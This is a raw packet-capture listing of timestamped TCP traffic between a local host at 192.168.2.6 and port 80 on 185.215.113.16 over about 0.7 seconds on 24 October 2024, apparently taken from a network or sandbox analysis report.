Oct 24, 2024 09:08:11.756133080 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.756169081 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.756170034 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.756170034 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.756205082 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.756228924 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.756261110 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.756634951 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.756689072 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.756692886 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.756725073 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.756742954 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.756761074 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.756779909 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.756808043 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.795871019 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.795964003 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.795977116 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.796027899 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.796032906 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.796067953 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.796099901 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.796113014 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.796139002 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.796150923 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.796156883 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.796205044 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.844321966 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.844369888 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.844409943 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.844438076 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.844439030 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.844448090 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.844468117 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.844499111 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.873070955 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.873122931 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.873162031 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.873178959 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.873178959 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.873225927 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.873266935 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.873302937 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.873317957 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.873339891 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.873354912 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.873388052 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.873531103 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.873585939 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.873589039 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.873641014 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.873644114 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.873691082 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.874010086 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.874064922 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.874074936 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.874103069 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.874135017 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.874140024 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.874157906 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.874187946 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.874582052 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.874619007 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.874640942 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.874655008 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.874670982 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.874692917 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.874706030 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.874748945 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.913238049 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.913281918 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.913327932 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.913347006 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.913378000 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.913435936 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.913450956 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.913474083 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.913477898 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.913496971 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.913518906 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.961453915 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.961498976 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.961585045 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.962781906 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.990844965 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.990890026 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.990948915 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.990988016 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.991013050 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.991024017 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.991054058 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.991054058 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.991061926 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.991081953 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.991100073 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.991120100 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.991154909 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.991157055 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.991192102 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.991211891 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.991235018 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.991250992 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.991297960 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.991300106 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.991363049 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.991373062 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.991430044 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.991683006 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.991718054 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.991744995 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.991765022 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.991771936 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.991812944 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.991827965 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.991849899 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.991869926 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.991888046 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.991899967 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.991931915 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.992748976 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.992822886 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:11.992839098 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:11.992889881 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.030714989 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.030767918 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.030806065 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.030837059 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.030838013 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.030843019 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.030864000 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.030881882 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.030893087 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.030919075 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.030931950 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.030966043 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.108072996 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.108118057 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.108159065 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.108194113 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.108194113 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.108196020 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.108220100 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.108233929 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.108238935 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.108272076 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.108280897 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.108309031 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.108319044 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.108356953 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.108391047 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.108438015 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.108649969 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.108681917 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.108709097 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.108731031 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.108841896 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.108894110 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.108896017 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.108933926 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.108949900 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.108978987 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.109069109 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.109122992 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.109354973 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.109410048 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.109411001 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.109447956 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.109463930 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.109486103 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.109502077 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.109522104 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.109539032 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.109560013 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.109576941 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.109622002 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.148502111 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.148574114 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.148612022 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.148633003 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.148647070 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.148679972 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.148679972 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.148683071 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.148690939 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.148719072 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.148727894 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.148756981 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.148761988 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.148798943 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.225742102 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.225796938 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.225816011 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.225837946 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.225848913 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.225876093 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.225884914 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.225914001 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.225924015 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.225951910 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.225960970 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.225991011 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.226001024 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.226033926 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.226037979 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.226075888 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.226093054 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.226125002 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.226150990 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.226171017 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.226178885 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.226214886 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.226228952 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.226250887 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.226270914 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.226289034 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.226308107 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.226330042 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.226665020 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.226717949 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.226718903 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.226756096 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.226769924 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.226792097 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.226803064 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.226830959 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.226844072 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.226881027 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.265980959 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.266036034 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.266047955 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.266074896 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.266087055 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.266113043 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.266119003 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.266165018 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.266170979 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.266206026 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.266226053 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.266242981 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.266252041 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.266274929 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.266292095 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.266310930 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.266324043 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.266349077 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.266360044 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.266401052 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.266426086 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.266469955 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.343030930 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.343077898 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.343120098 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.343157053 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.343204021 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.343220949 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.343221903 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.343264103 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.343302965 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.343349934 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.343349934 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.343372107 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.343372107 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.343415022 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.343430996 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.343477011 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.343477964 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.343514919 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.343539000 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.343553066 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.343580961 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.343591928 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.343600988 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.343645096 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.343852043 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.343907118 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.343913078 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.343961000 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.343974113 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.343997955 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.344033957 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.344034910 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.344072104 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.344075918 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.344094992 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.344130039 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.383132935 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.383184910 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.383224964 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.383233070 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.383261919 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.383275986 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.383275986 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.383327007 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.383354902 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.383395910 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.383410931 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.383435011 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.383450031 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.383474112 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.383536100 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.383558035 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.426362991 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.426419973 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.426460028 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.426480055 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.426537037 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.426537037 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.460360050 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.460412025 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.460449934 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.460469007 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.460484982 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.460490942 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.460508108 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.460526943 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.460546017 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.460597038 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.460650921 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.460686922 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.460711002 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.460741043 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.460745096 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.460781097 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.460798979 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.460817099 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.460844040 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.460851908 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.460861921 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.460890055 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.460911036 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.460944891 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:12.461412907 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:12.461467981 CEST	80	49997	185.215.113.16	192.168.2.6
